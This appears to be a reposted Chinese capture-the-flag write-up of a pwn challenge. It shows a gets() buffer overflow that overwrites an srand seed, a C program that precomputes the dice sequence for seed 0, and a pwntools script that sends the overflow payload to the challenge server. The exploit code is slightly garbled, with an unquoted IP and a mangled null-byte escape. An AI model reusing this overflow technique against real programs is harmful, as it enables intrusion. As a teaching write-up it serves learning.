CTF:第五题

Posted suanguade

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF:第五题相关的知识,希望对你有一定的参考价值。

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

 

这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识

1:linux 系统随机数获取

2:srand 伪随机数生成

只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,

所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,

 

需要有点开发技术了

首先看一下代码

技术图片

 

红框里面取系统随机数,但是我们肯定不能用系统随机数啊,

如果是那样的话,我们必死啊,

幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,

由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,

好了,知道流程,那就开干吧。

写个代码,先算个随机数 

 1 #include <stdio.h>
 2 
 3 int main()
 4 {
 5     int i = 0;
 6     srand(0);
 7     for (i = 0; i <= 9; i++)
 8     {
 9         printf("%d
", rand() % 6 + 1);
10     }
11 
12     return 0;
13 }

算完之后,得到了一系列数字

2
5
4
2
6
2
5
1
4
2

好了,然后构造python

 1 from pwn import *
 2 
 3 #a = process("./b59204f56a0545e8a22f8518e749f19f")
 4 a = remote(124.126.19.106, 36867)
 5 r = a.recvuntil(":")
 6 print(r)
 7 
 8 str = "A" * 0x20 + "x00" * 8
 9 print(str)
10 a.send(str)
11 
12 a.interactive()

其实也非常简单,因为我决定那一串数字,我手动输入,

 

执行脚本

技术图片

 

 

结束了,这个反倒很容易,感觉还可以。

 

以上是关于CTF:第五题的主要内容,如果未能解决你的问题,请参考以下文章

看雪CTF 2016_第五题分析

每日一题 为了工作 2020 0426 第五十五题

NSCTF2015 逆向第五题分析

萌萌哒的第五题

考试第五题

第五题